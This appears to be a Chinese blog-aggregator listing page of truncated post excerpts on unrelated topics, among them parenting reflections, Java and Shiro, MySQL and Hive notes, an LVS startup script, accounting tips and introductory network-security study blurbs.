      学习焦点的初心是想拯救孩子，孩子由于沉迷游戏，成绩下滑，在学习的过程中发现是自己的教育方式出了状况。经过半年的学习，一些焦点的基本技巧，如接纳、欣赏、倾听、同理心、尊重等都有了一定的了解。但在实际应用时仍然存在很多问题，感觉自己仍然没有放下对孩子成绩的期望，仍然把握不住对孩子管理的度。我该如何去陪伴好孩子？多用心去听课，并加强反思，多约练。去思考如何让自己快乐起来？
    • 请简单介绍一下Shiro框架是什么？Shiro在Java安全领域的主要作用是什么？Shiro主要提供了哪些安全功能？ AaronWang94 shirojavajava安全开发语言
      请简单介绍一下Shiro框架是什么？Shiro框架是一个强大且灵活的开源安全框架，为Java应用程序提供了全面的安全解决方案。它主要用于身份验证、授权、加密和会话管理等功能，可以轻松地集成到任何JavaWeb应用程序中，并提供了易于理解和使用的API，使开发人员能够快速实现安全特性。Shiro的核心组件包括Subject、SecurityManager和Realms。Subject代表了当前与应用
    • 大创项目推荐 深度学习 opencv python 公式识别(图像识别 机器视觉) laafeer python
      文章目录0前言1课题说明2效果展示3具体实现4关键代码实现5算法综合效果6最后0前言优质竞赛项目系列，今天要分享的是基于深度学习的数学公式识别算法实现该项目较为新颖，适合作为竞赛课题方向，学长非常推荐！学长这里给一个题目综合评分(每项满分5分)难度系数：3分工作量：4分创新点：4分更多资料,项目分享：https://gitee.com/dancheng-senior/postgraduate1课题
    • #D174-读书会作业-《财务自由之路》3 白洲笔记
      最近沉迷于写作营，一直就没时间去弄读书会的作业，书的第二遍也就看了个开头，趁着日更的时间，赶紧把作业做了，这次是15到21课。【1.印象最深刻的部分】(本周所读内容中印象最深刻的部分)*活在未来，最正确的方法是什么？用正确的方法做正确的事情，判断什么是正确的？逻辑。学会思考。"作对事情"永远比“把事情作对“重要的多。”长远思考，耐心验证，小心总结提炼“证明自己正确并不是学习的任务和目标，时刻成长，
    • 账务处理又出错？资深会计来教你，学会效率翻倍！共同学习 小橘子要努力吖
      作为一名会计，在实际工作中会遇到各种麻烦的账务处理问题。那么，最常用的会计处理方法都有哪些呢？今天小编为大家带来了从业二十六年的资深老会计分享的十四中会计常用的账务处理问题的解决方案，快来看看吧！一、促销品的账务处理在促销时公司经常会把一些商品按进价赠送给消费者使用二、款已付清但发票未到的账务处理三、购买材料发生不合理损耗的账务处理问题公司在购买材料时，常常会发生一些不合理的损耗，那么这种问题该怎
    • 【真诚子】通晓鬼谷第七篇读书日记。 真诚子l通晓鬼谷
      今天把个人品牌，从193读到208页，书的内容质量出奇的高，尤其是这一段。对标学习法，找一个比自己强，或者你期望成为的人进行模仿性学习，对标学习，不是到处，去找人对标兵学习很多人的优点，或是学习自己认为好的方面，而是找准一个对标高手，然后全方位的学习这个人。我在做品牌咨询时就对标，学习了一个在国内很有名的行业顶尖大咖。我先找到他公司的方案，进行完全模仿，连PPT的排版都一样，而且我只参照他一个人的
    • ES-LTR粗排模块 poins jenkins运维
      ES-LTR粗排模块官方资源：https://github.com/HeiBoWang/elasticsearch-learning-to-rankElasticsearch学习排名插件使用机器学习提高搜索相关性排名。它为维基媒体基金会和Snagajob等地方的搜索提供了动力！这个插件有什么功能此插件：允许您在Elasticsearch中存储特征（Elasticsearch查询模板）记录特征得分（
    • 2018-11-18成长小组学习笔记 实验中学45
      因为嗓子“罢工”，我面对众人只能借“微笑”代言。在开始授课前，绣霞老师先反馈上次作业的情况，提到“接纳”需是真正发自内心的完全接纳，而不是口头上的接纳，内心却是排斥的。提到一个“问题”孩子恰恰对家爱的更加“深沉”，夫妻间的问题不能影响到孩子，对孩子更好的爱不是你为他做的更多，而是给他自由、健康成长的空间。图片发自App一、孩子：家庭的一面镜子夫妻成了彼此的“投射”，婚姻便“吵的不可开交”，婚姻便成
    • 网络安全（黑客）——自学2024 小言同学喜欢挖漏洞 web安全安全网络学习网络安全信息安全渗透测试
      01什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。02怎样规划网络安全如果你是一
    • 黑客（网络安全）技术自学30天 一个迷人的黑客 web安全安全网络笔记网络安全信息安全渗透测试
      01什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。02怎样规划网络安全如果你是一
    • 2.5 项目讲解流程 王守谦26 项目资料数据库
      一、项目讲解1、自我介绍2、项目流程-===============================二、自我介绍（一）、学员自我介绍，讲解存在的问题比如：讲解年份、卡顿、重点学历、忘记（二）自我规则内容1、开场白：礼貌用语2、时间：自我介绍1-2分钟以内3、内容：姓名、籍贯、毕业院校、（拉进面试官距离）4、技能：功能测试、接口测试、自动化测试、app测试、性能测试、安全测试黑盒测试、白盒测试、灰盒
    • 2019-07-16 振华老凤祥店长崔宁宁
      大爱的李老师，智慧的教授，亲爱的跃友们：大家好！我是莱州鑫和金店李总的人～崔宁宁今天是我的日精进行动第56天，我分享一下今天的改变，我们相互勉励，每天进步一点点，离成功便不远。1、比学习：人这一生最主要的就是信念，坚定不移的信念是成功路上的重要基石！2、比改变：我是一切的根源，我变了世界就变了！改变自己的心态！3、比付出：承担才能成长，付出才会杰出！4、比谦卑：学习每位优秀店长身上的优点！5、比感
    • python清华大学出版社答案_Python机器学习及实践 weixin_39805119 python清华大学出版社答案
      第1章机器学习的基础知识1.1何谓机器学习1.1.1传感器和海量数据1.1.2机器学习的重要性1.1.3机器学习的表现1.1.4机器学习的主要任务1.1.5选择合适的算法1.1.6机器学习程序的步骤1.2综合分类1.3推荐系统和深度学习1.3.1推荐系统1.3.2深度学习1.4何为Python1.4.1使用Python软件的由来1.4.2为什么使用Python1.4.3Python设计定位1.4.
    • 2018-12-02 子分小
      姓名：张颖公司：菲尔德国际英语【反省总结第146天，始于20180709今天是20181202】【知～学习】六项精进大纲背诵3遍每天十个单词坚持第181天每天学习一篇英文文章第94天英语流利说课程第71天学习30分钟【行～实践】一、修身：（对自己个人）步行5000步二、齐家：（对家庭和家人）无三、建功：（对工作)完成与Arti活动课和两节Demo准备开班事宜｛积善｝：发愿从2018年7月9日起1年
    • 如何成为思维的高手？ 明安包装闫慧玲
      六项精进训练营Day2复盘20210112湖北荆州学习靠氛围，成长靠圈子1.关于金钱认知金句：1.当今世界，非钱不行2.有钱能使鬼推磨3.金钱是万恶之本4.时间就是金钱5.金钱不是万能的，但是没有钱是万万不能的6.谈钱伤感情，谈感情伤钱道德系统→好人→美德→回流利益系统→好好生活天下熙熙皆为利来，天下攘攘皆为利往出自西汉著名史学家、文学家司马迁《史记》的第一百二十九章“货殖列传”。这句话意思是说天
    • 十分钟自由写作 知意zy
      主题：我缺乏的东西自从加入2022年弘丹写作学院，感觉每天的生活都忙碌了起来，我要上班，要学习。所以我每天都必须拼尽全力向前奔跑，才追得上小伙伴们的脚步。在写作学院，我学会了反省自己的不足，我的想法多，缺乏的东西也太多。比如：写作的文笔，写作逻辑，底层自信心……看到社群里那么多优秀的小伙伴，我感觉自己越来越自卑，我这么一个平庸的人，会完成今年的写作目标吗？我开始不停怀疑自己是否能坚持下去。而弘丹老
    • 2021-04-11 英英成长日记
      （1）每天写50字以上的催眠语言肯定自己或孩子或爱人今天的公益沙龙第二期，你有充分的准备！所以一切都很顺利！你还可以更灵活，我相信你可以做到！你是一个有爱的人！爱能成就一切！加油！分享也是成长！你说对吗？（2）每天晚上跟潜意识沟通一次。谢谢你潜意识，今天支持我讲完两个小时沙龙！感恩你每天这样支持我成长学习！（3）每天学习三条时间管理方法，共100条。(4)自己想要坚持3件事（确定下来至少一件，坚持
    • 忙忙碌碌才是生活 北渔说
      观海年后上班，因为项目接近尾声甚是消闲。说是消闲，其实身消闲，心不消闲。都说当下社会是焦虑的社会，因为人们普遍焦虑。上班已有半月，想想这好像是上班几年来最空闲的一段时间了。空闲的主要原因是工作处在了瓶颈期，心有余而力不足。因为有一颗力求完美的心，但却没有力求完美的能力，所以徒有焦虑。不知道大家有没有这种感觉，在高压学习或工作一段时间之后，突然闲下来就会茫然无措。有时候读一本长篇，好不容易结束本来应
    • 数据管理知识体系指南（第二版）-第五章——数据建模和设计-学习笔记 键盘上的五花肉 数据治理数据库数据仓库数据治理
      目录5.1引言5.1.1业务驱动因素5.1.2目标和原则5.1.3基本概念5.2活动5.2.1规划数据建模5.2.2建立数据模型5.2.3审核数据模型5.2.4维护数据模型5.3工具5.3.1数据建模工具5.3.2数据血缘工具5.3.3数据分析工具5.3.4元数据资料库5.3.5数据模型模式5.3.6行业数据模型5.4方法5.4.1命名约定的最佳实践5.4.2数据库设计中的最佳实践5.5数据建模和
    • redis学习笔记——不仅仅是存取数据 Everyday都不同 returnSourceexpire/delincr/lpush数据库分区redis
      最近项目中用到比较多redis，感觉之前对它一直局限于get/set数据的层面。其实作为一个强大的NoSql数据库产品，如果好好利用它，会带来很多意想不到的效果。（因为我搞java，所以就从jedis的角度来补充一点东西吧。PS：不一定全，只是个人理解，不喜勿喷）   1、关于JedisPool.returnSource(Jedis jeids)   这个方法是从red
    • SQL性能优化-持续更新中。。。。。。 atongyeye oraclesql
      1 通过ROWID访问表--索引 你可以采用基于ROWID的访问方式情况,提高访问表的效率, , ROWID包含了表中记录的物理位置信息..ORACLE采用索引(INDEX)实现了数据和存放数据的物理位置(ROWID)之间的联系. 通常索引提供了快速访问ROWID的方法,因此那些基于索引列的查询就可以得到性能上的提高. 2 共享SQL语句--相同的sql放入缓存 3 选择最有效率的表
    • [JAVA语言]JAVA虚拟机对底层硬件的操控还不完善 comsci JAVA虚拟机
           如果我们用汇编语言编写一个直接读写CPU寄存器的代码段，然后利用这个代码段去控制被操作系统屏蔽的硬件资源，这对于JVM虚拟机显然是不合法的，对操作系统来讲，这样也是不合法的，但是如果是一个工程项目的确需要这样做，合同已经签了，我们又不能够这样做，怎么办呢？ 那么一个精通汇编语言的那种X客，是否在这个时候就会发生某种至关重要的作用呢？ &n
    • lvs- real 男人50 LVS
      #!/bin/bash # # Script to start LVS DR real server. # description: LVS DR real server # #.  /etc/rc.d/init.d/functions VIP=10.10.6.252 host='/bin/hostname' case "$1" in sta
    • 生成公钥和私钥 oloz DSA安全加密
      package com.msserver.core.util; import java.security.KeyPair; import java.security.PrivateKey; import java.security.PublicKey; import java.security.SecureRandom; public class SecurityUtil {
    • UIView 中加入的cocos2d，背景透明 374016526 cocos2dglClearColor
      要点是首先pixelFormat:kEAGLColorFormatRGBA8，必须有alpha层才能透明。然后view设置为透明glView.opaque = NO;[director setOpenGLView:glView];[self.viewController.view setBackgroundColor:[UIColor clearColor]];[self.viewControll
    • mysql常用命令 香水浓 mysql
      连接数据库 mysql -u troy -ptroy 备份表 mysqldump -u troy -ptroy mm_database mm_user_tbl > user.sql 恢复表（与恢复数据库命令相同） mysql -u troy -ptroy mm_database < user.sql 备份数据库 mysqldump -u troy -ptroy
    • 我的架构经验系列文章 - 后端架构 - 系统层面 agevs JavaScriptjquerycsshtml5
      系统层面： 高可用性 所谓高可用性也就是通过避免单独故障加上快速故障转移实现一旦某台物理服务器出现故障能实现故障快速恢复。一般来说，可以采用两种方式，如果可以做业务可以做负载均衡则通过负载均衡实现集群，然后针对每一台服务器进行监控，一旦发生故障则从集群中移除；如果业务只能有单点入口那么可以通过实现Standby机加上虚拟IP机制，实现Active机在出现故障之后虚拟IP转移到Standby的快速
    • 利用ant进行远程tomcat部署 aijuans tomcat
      在javaEE项目中，需要将工程部署到远程服务器上，如果部署的频率比较高，手动部署的方式就比较麻烦，可以利用Ant工具实现快捷的部署。这篇博文详细介绍了ant配置的步骤（http://www.cnblogs.com/GloriousOnion/archive/2012/12/18/2822817.html），但是在tomcat7以上不适用，需要修改配置，具体如下： 1.配置tomcat的用户角色
    • 获取复利总收入 baalwolf 获取
             public static void main(String args[]){         int money=200;         int year=1;         double rate=0.1; &
    • eclipse.ini解释 BigBird2012 eclipse
      大多数java开发者使用的都是eclipse，今天感兴趣去eclipse官网搜了一下eclipse.ini的配置，供大家参考，我会把关键的部分给大家用中文解释一下。还是推荐有问题不会直接搜谷歌，看官方文档，这样我们会知道问题的真面目是什么，对问题也有一个全面清晰的认识。 Overview 1、Eclipse.ini的作用 Eclipse startup is controlled by th
    • AngularJS实现分页功能 bijian1013 JavaScriptAngularJS分页
              对于大多数web应用来说显示项目列表是一种很常见的任务。通常情况下，我们的数据会比较多，无法很好地显示在单个页面中。在这种情况下，我们需要把数据以页的方式来展示，同时带有转到上一页和下一页的功能。既然在整个应用中这是一种很常见的需求，那么把这一功能抽象成一个通用的、可复用的分页（Paginator）服务是很有意义的。   &nbs
    • [Maven学习笔记三]Maven archetype bit1129 ArcheType
      archetype的英文意思是原型，Maven archetype表示创建Maven模块的模版，比如创建web项目，创建Spring项目等等.   mvn archetype提供了一种命令行交互式创建Maven项目或者模块的方式，   mvn archetype   1.在LearnMaven-ch03目录下，执行命令mvn archetype:gener
    • 【Java命令三】jps bit1129 Java命令
      jps很简单，用于显示当前运行的Java进程，也可以连接到远程服务器去查看   [hadoop@hadoop bin]$ jps -help usage: jps [-help] jps [-q] [-mlvV] [<hostid>] Definitions: <hostid>: <hostname>[:
    • ZABBIX2.2 2.4 等各版本之间的兼容性 ronin47
      zabbix更新很快，从2009年到现在已经更新多个版本，为了使用更多zabbix的新特性，随之而来的便是升级版本，zabbix版本兼容性是必须优先考虑的一点 客户端AGENT兼容 zabbix1.x到zabbix2.x的所有agent都兼容zabbix server2.4：如果你升级zabbix server，客户端是可以不做任何改变，除非你想使用agent的一些新特性。 Zabbix代理（p
    • unity 3d还是cocos2dx哪个适合游戏？ brotherlamp unity自学unity教程unity视频unity资料unity
      unity 3d还是cocos2dx哪个适合游戏？ 问：unity 3d还是cocos2dx哪个适合游戏？ 答：首先目前来看unity视频教程因为是3d引擎，目前对2d支持并不完善，unity 3d 目前做2d普遍两种思路，一种是正交相机，3d画面2d视角，另一种是通过一些插件，动态创建mesh来绘制图形单元目前用的较多的是2d toolkit，ex2d，smooth moves，sm2，
    • 百度笔试题：一个已经排序好的很大的数组，现在给它划分成m段，每段长度不定，段长最长为k，然后段内打乱顺序，请设计一个算法对其进行重新排序 bylijinnan java算法面试百度招聘
      import java.util.Arrays; /** * 最早是在陈利人老师的微博看到这道题： * #面试题#An array with n elements which is K most sorted，就是每个element的初始位置和它最终的排序后的位置的距离不超过常数K * 设计一个排序算法。It should be faster than O(n*lgn)。
    • 获取checkbox复选框的值 chiangfai checkbox
      <title>CheckBox</title> <script type = "text/javascript"> doGetVal: function doGetVal() { //var fruitName = document.getElementById("apple").value;//根据
    • MySQLdb用户指南 chenchao051 mysqldb
      原网页被墙，放这里备用。 MySQLdb User's Guide Contents Introduction Installation _mysql MySQL C API translation MySQL C API function mapping Some _mysql examples MySQLdb
    • HIVE 窗口及分析函数 daizj hive窗口函数分析函数
      窗口函数应用场景： （1）用于分区排序 （2）动态Group By （3）Top N （4）累计计算 （5）层次查询 一、分析函数 用于等级、百分点、n分片等。 函数             说明 RANK()     &nbs
    • PHP ZipArchive 实现压缩解压Zip文件 dcj3sjt126com PHPzip
      PHP ZipArchive 是PHP自带的扩展类，可以轻松实现ZIP文件的压缩和解压，使用前首先要确保PHP ZIP 扩展已经开启，具体开启方法就不说了，不同的平台开启PHP扩增的方法网上都有，如有疑问欢迎交流。这里整理一下常用的示例供参考。 一、解压缩zip文件 01 02 03 04 05 06 07 08 09 10 11
    • 精彩英语贺词 dcj3sjt126com 英语
      I'm always here              我会一直在这里支持你                &nb
    • 基于Java注解的Spring的IoC功能 e200702084 javaspringbeanIOCOffice
                                        
    • java模拟post请求 geeksun java
      一般API接收客户端（比如网页、APP或其他应用服务）的请求，但在测试时需要模拟来自外界的请求，经探索，使用HttpComponentshttpClient可模拟Post提交请求。 此处用HttpComponents的httpclient来完成使命。 import org.apache.http.HttpEntity ; import org.apache.http.HttpRespon
    • Swift语法之 ---- ?和!区别 hongtoushizi ?swift!
      转载自： http://blog.sina.com.cn/s/blog_71715bf80102ux3v.html   Swift语言使用var定义变量，但和别的语言不同，Swift里不会自动给变量赋初始值，也就是说变量不会有默认值，所以要求使用变量之前必须要对其初始化。如果在使用变量之前不进行初始化就会报错： var stringValue : String //
    • centos7安装jdk1.7 jisonami jdkcentos
      安装JDK1.7 步骤1、解压tar包在当前目录 [root@localhost usr]#tar -xzvf jdk-7u75-linux-x64.tar.gz 步骤2：配置环境变量 在etc/profile文件下添加 export JAVA_HOME=/usr/java/jdk1.7.0_75 export CLASSPATH=/usr/java/jdk1.7.0_75/lib
    • 数据源架构模式之数据映射器 home198979 PHP架构数据映射器datamapper
      前面分别介绍了数据源架构模式之表数据入口、数据源架构模式之行和数据入口数据源架构模式之活动记录，相较于这三种数据源架构模式，数据映射器显得更加“高大上”。   一、概念 数据映射器（Data Mapper）：在保持对象和数据库（以及映射器本身）彼此独立的情况下，在二者之间移动数据的一个映射器层。概念永远都是抽象的，简单的说，数据映射器就是一个负责将数据映射到对象的类数据。 &nb
    • 在Python中使用MYSQL pda158 mysqlpython
      缘由 　　近期在折腾一个小东西须要抓取网上的页面。然后进行解析。将结果放到 数据库中。 　　了解到 Python在这方面有优势，便选用之。 　　由于我有台 server上面安装有 mysql，自然使用之。在进行数据库的这个操作过程中遇到了不少问题，这里 记录一下，大家共勉。 　　 python中mysql的调用 　　 百度之后能够通过MySQLdb进行数据库操作。
    • 单例模式 hxl1988_0311 java单例设计模式单件
      package com.sosop.designpattern.singleton; /* * 单件模式：保证一个类必须只有一个实例，并提供全局的访问点 * * 所以单例模式必须有私有的构造器，没有私有构造器根本不用谈单件 * * 必须考虑到并发情况下创建了多个实例对象 * */ /** * 虽然有锁，但是只在第一次创建对象的时候加锁，并发时不会存在效率
    • 27种迹象显示你应该辞掉程序员的工作 vipshichg 工作
      1、你仍然在等待老板在2010年答应的要提拔你的暗示。 2、你的上级近10年没有开发过任何代码。 3、老板假装懂你说的这些技术，但实际上他完全不知道你在说什么。 4、你干完的项目6个月后才部署到现场服务器上。 5、时不时的，老板在检查你刚刚完成的工作时，要求按新想法重新开发。 6、而最终这个软件只有12个用户。 7、时间全浪费在办公室政治中，而不是用在开发好的软件上。 8、部署前5分钟才开始测试。